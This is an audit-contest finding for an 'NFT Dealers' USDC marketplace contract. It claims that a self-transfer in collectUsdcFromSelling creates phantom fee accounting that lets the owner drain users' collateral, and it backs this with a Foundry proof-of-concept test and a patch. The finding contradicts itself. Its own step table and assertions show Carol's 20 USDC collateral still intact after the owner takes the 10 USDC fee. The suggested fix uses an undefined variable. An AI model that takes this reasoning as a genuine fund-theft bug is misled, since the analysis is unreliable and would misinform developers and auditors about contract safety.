NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Phantom fee accounting from self-transfer in collectUsdcFromSelling lets owner withdraw from users shared pool

Author Revealed upon completion

Root + Impact

Description

collectUsdcFromSelling() calls usdc.safeTransfer(address(this), fees) — a self-transfer that moves zero net value — then increments totalFeesCollected. The fees are never actually separated from the shared pool. When the owner calls withdrawFees(), it sends totalFeesCollected USDC from the contract's unsegregated balance, which contains other users' collateral and pending sale proceeds.

This is a distinct root cause from the repeated-collect bug. The repeated-collect bug exploits missing state reset allowing multiple calls. This bug exploits the fact that even a single, legitimate collect call creates phantom fee accounting that lets the owner drain from the shared pool. Both exist independently in collectUsdcFromSelling — each alone is sufficient for fund theft.

Risk

Likelihood:

  • Occurs on every single sale — not an edge case. Every call to collectUsdcFromSelling produces a phantom fee entry

  • The owner calling withdrawFees() is intended normal behavior, making this a silent corruption that executes through the standard admin path

Impact:

  • Owner withdraws USDC backed by other users' collateral deposits — creating a balance shortfall

  • Late-claiming users (collateral reclaims via cancelListing, sellers calling collectUsdcFromSelling) find insufficient balance and their transactions revert

  • The shortfall grows proportionally with marketplace volume — 100 sales at 1,000 USDC average creates a 10 USDC × 100 = 1,000 USDC shortfall in the shared pool

Proof of Concept

forge test --match-test test_H01_FeeSelfTransfer_OwnerStealsFromDeposits -vvv

Scenario: Alice mints (20 collateral), Carol mints (20 collateral), Alice lists at 1,000 USDC, Bob buys. Contract = 1,040 USDC.

Step Action Contract Balance totalFeesCollected
1 Alice + Carol mint 40 0
2 Bob buys Alice's listing for 1,000 USDC 1,040 0
3 Alice calls collectUsdcFromSelling(1) 30 10
4 Owner calls withdrawFees() 20 0

At step 3, the self-transfer of 10 USDC fee is a noop — contract still has 30 USDC (20 = Carol's collateral + 10 = "fee" that was never moved). At step 4, owner withdraws 10 USDC of "fees" which are backed by Carol's collateral — there is no separate fee bucket.

function test_H01_FeeSelfTransfer_OwnerStealsFromDeposits() public {
// Alice mints token 1 (20 USDC collateral)
vm.startPrank(alice);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft();
nftDealers.list(1, 1000e6);
vm.stopPrank();
​
// Carol mints token 2 (20 USDC collateral)
vm.startPrank(carol);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft();
vm.stopPrank();
​
// Bob buys token 1 from Alice for 1000 USDC
vm.startPrank(bob);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.buy(1);
vm.stopPrank();
​
// Contract balance: 20 + 20 + 1000 = 1040
assertEq(usdc.balanceOf(address(nftDealers)), 1040e6);
​
// Alice collects — fee self-transfer is noop, totalFeesCollected += 10
vm.prank(alice);
nftDealers.collectUsdcFromSelling(1);
assertEq(usdc.balanceOf(address(nftDealers)), 30e6);
assertEq(nftDealers.totalFeesCollected(), 10e6);
​
// Owner withdraws "fees" — takes 10 USDC from the 30 remaining
// But 20 of that belongs to Carol's collateral!
vm.prank(owner);
nftDealers.withdrawFees();
assertEq(usdc.balanceOf(owner), 10e6);
assertEq(usdc.balanceOf(address(nftDealers)), 20e6);
}

Recommended Mitigation

Root cause — self-transfer is a noop, totalFeesCollected is a phantom counter:

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
// ...
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
@> usdc.safeTransfer(address(this), fees); // SELF-TRANSFER — contract sends to itself = noop
usdc.safeTransfer(msg.sender, amountToSeller);
}

Fix — remove the self-transfer entirely and use accounting-only tracking:

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
// ...
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees); // remove: self-transfer noop
usdc.safeTransfer(msg.sender, amountToSeller);
}

Additionally, withdrawFees should verify the contract has sufficient balance above user obligations before sending:

function withdrawFees() external onlyOwner {
- require(totalFeesCollected > 0, "No fees to withdraw");
- uint256 amount = totalFeesCollected;
+ uint256 surplus = usdc.balanceOf(address(this)) - totalUserObligations;
+ uint256 amount = totalFeesCollected < surplus ? totalFeesCollected : surplus;
+ require(amount > 0, "No fees to withdraw");
totalFeesCollected -= amount;
usdc.safeTransfer(owner, amount);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!